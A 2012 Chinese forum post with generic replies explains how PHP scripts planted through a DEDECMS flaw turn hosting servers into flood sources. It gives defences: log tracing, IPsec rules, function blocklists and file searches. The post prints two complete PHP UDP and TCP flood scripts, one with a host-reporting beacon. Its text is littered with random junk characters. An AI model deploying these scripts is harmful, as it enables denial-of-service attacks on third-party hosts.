找回密码
 加入怎通
查看: 1751|回复: 12

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好2 @, N) \3 B6 e+ [6 C
  一。php对外发包分析
7 b$ s6 X' a  u# K  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
6 a2 E, D0 v: ]% u: N  以下是代码片段:3 u4 {  H0 |" l- Z, `! t3 p
  $packets = 0;0 w& G6 @2 \* B9 k1 r
  $ip = $_GET[\'ip\'];. i* c0 X8 ^' O- J1 A
  $rand = $_GET[\'port\'];6 y  F: K! Z" x7 i( x# ?" F0 |4 d
  set_time_limit(0);
  \' e0 {% D. e) S! N3 T  ignore_user_abort(FALSE);
+ M/ z+ V" ^( W' Z1 K  $exec_time = $_GET[\'time\'];sbxl-20120612
/ j- o5 n" m( S! L9 l  $time = time();% X5 S6 f8 M8 b5 _8 M
  print \'Flooded: $ip on port $rand  v- [" l( q9 b9 \( N# j2 p
  \';& O4 r( N" N) T7 t% @9 @" V
  $max_time = $time+$exec_time;- N2 f  f4 E  ?" w" h
  for($i=0;$i<65535;$i++){
2 L( ]+ h" ?1 _% u! |0 P: R  $out .= \'X\';
& Q" f6 }7 q* l$ s/ [5 p& b3 }( l3 i  }4 q9 x3 k. t# D) w! r3 o
  while(1){
0 d& o, @0 k* f6 K& b! K1 y  $packets++;
5 W; [. r8 P7 C2 ]8 t  if(time() > $max_time){6 }7 P1 ^3 g' n2 a9 S
  break;3 _2 g8 f' q' J& H
  }* W* |, E6 H( h! `3 `: d( W; @
  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);6 ^) [' f! O  r9 v+ x
  if($fp){' [7 m( y7 ]7 |! l  q5 {  a
  fwrite($fp, $out);1 e- n* p9 b6 N" l3 H0 C9 |" R" _! u% n
  fclose($fp);' w4 B5 t* Q+ U7 }# @
  }1 E5 b0 O1 l& m6 M6 r, Q# @# F
  }8 |4 E. V2 b* @' v  j
  echo \'Packet complete at \'.time(\'h:i:s\').\' with
- d1 g( n; ]& a) t( \- h5 ^  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.& R+ o  e6 @; B  L' a
  round($packets/$exec_time, 2) . \' packets/s ;
2 x) Z( o0 ?* |' L7 [  ?>
+ H3 L& Z/ e- ?1 Q1 z3 Y  二。表现特征
- [+ u( f) s) t. j% K6 x( F  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
+ \1 a3 j# @# H: f& X  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
& q8 X4 D2 V, G; A  如何快速找到这些站?
) }2 S- v, G7 T# _4 z# D  你可以打开日志* t3 d8 Y. n2 h- B2 v# {, N
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
; I3 P. E( A# ~2 Z5 \) @' {/ Q4 A' A  里面有类似这样的记录:
! G, _* `+ A% x6 y1 |7 c7 N  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1% t, k" ~2 N7 e7 {; A
  最后三项783 Disabled 30_FreeHost_1
2 F+ x% G" z  O: Y0 }$ E  783就是这个站在IIS中的ID
9 l4 H7 Y, M  f) P3 o8 m  30_FreeHost_1就是所在池) E! c: F- T" x
  三?解决办法- j$ ?' `- h7 a3 u+ ^" k* B- z
  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
- A8 ?5 ^8 P4 N5 s( l& E6 e  2.在IP策略,或防火墙中,禁止所有udp向外发送6 x7 H, U) h# s; @# p! T
  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.
% P! ^6 v8 q# E5 {- L+ L  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
4 D, R+ D# k! o/ s  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
9 |" E8 D+ y6 [& b  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)% H  M7 e3 S' k- [4 Q$ B
  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS* E8 X4 t, i, a/ G0 C
  ignore_user_abort = On
8 K# t' y$ x- C% j, D- _  (注意前面的;号要删除)
0 J* r3 p5 `9 r  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
( g( W: p% @0 T. R) J5 y( g4 r: w  在后面加上- w& `7 w8 B2 Q( |: |; u) N, Q& Q/ n
  fsockopen,set_time_limit& Y/ e4 Q" s! G
  但这样会造成很多php程序都不正常.
9 t* m/ K6 K! \9 N& ^. g. P$ I3 X0 w  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?, C# V+ ^$ R4 h' v; M+ f; }' S) r  Z2 n
  近期已有新的基于TCP攻击的PHPDDOS代码如下:. ~) x4 t# p8 p$ O  v# Z' D
  以下是代码片段:
: n/ J1 U/ q; s  set_time_limit(999999);
4 \# _! a# p0 B# V+ p  $host = $_GET['host'];2 R# R0 x* U) P9 E5 {0 ^
  $port = $_GET['port'];- v6 c* J1 _* k
  $exec_time = $_GET['time'];
& s' R7 w+ m: |) P  @3 r! j7 h  $packets = 64;
% j& V2 J! S# e, l8 y" V  ignore_user_abort(True);
& a) f& K9 R6 a7 G/ g( \( d8 T( j7 q' ~  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
) g/ T" H% N) ?- v  if (StrLen($_GET['rat'])<>0){
% s7 @% q* ^8 h* w3 X  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
: ]# o0 z: R( g* ]$ u  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
1 r3 K2 S, C! b3 X' l; i6 u  exit;
5 U6 t0 J8 G# e* e: Y  }# U& i' {: d& }# T9 G5 {- x1 `+ Y8 E
  exit;, Q- o3 I# G4 a8 \" e4 [+ s% w
  }2 G1 Y- J% k8 O
  $max_time = time()+$exec_time;
8 O3 r2 J. q7 J9 f( e5 _5 A  while(1){
% f7 ^' p$ r" E  $packets++;4 I! i% Q4 Q' Y2 H3 l9 Y
  if(time() > $max_time or $exec_time != 69){
! w+ {& y% d) ?' M  |  break;
7 p8 s, d0 ]) w5 K  }, i" p* w# D$ b* h! n1 _
  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);( W" j" x. S- }9 k: Q$ Y" Q
  }
& U4 K: J$ r' v/ ]# y. ~  ?>, [2 s* \4 w2 u2 C9 U- W9 L
  同样,可以采有以下解决办法:( R1 B& {- J7 B2 R3 G+ L2 b1 D3 o
  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS1 C# L' k+ R% B, U; b. i  O* k
  ignore_user_abort = On7 H! @+ b, G! i" U& {' [
  (注意前面的;号要删除)
" g0 v6 ]4 M' W" Y# X+ T6 \4 ]1 n  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
- S6 @5 s8 z3 f4 U" L/ j8 X  在后面加上- s' W0 |4 Y# N. [: I& k+ ^; v
  fsockopen,set_time_limit
6 I, i: A9 J$ O  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法1 t7 r- k) Y, W4 V+ K: N
  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?+ a5 G% i# k; ^- _& _
  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?- V) N6 Z4 m( Y) Q7 b
        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。6 P8 l  h3 |6 Z( c# P4 ^

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

wjh00 发表于 2026-08-25 17:06:02 | 显示全部楼层
内容很干货,没有多余的废话,值得反复看
回复

使用道具 举报

微信482122055 发表于 2026-09-07 02:39:01 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

九九--小欢 发表于 2026-09-11 01:15:48 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

星野 发表于 2026-09-30 23:31:39 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

qq244102610 发表于 2026-10-12 03:45:07 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复

使用道具 举报

花开不败 发表于 2026-10-18 06:36:23 | 显示全部楼层
楼主辛苦了,整理这么多内容,必须点赞收藏
回复

使用道具 举报

一品郎中 发表于 2026-10-26 07:14:17 | 显示全部楼层
蹲了这么久,终于看到有价值的讨论,支持一下!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-10-27 02:05 , Processed in 0.062929 second(s), 31 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表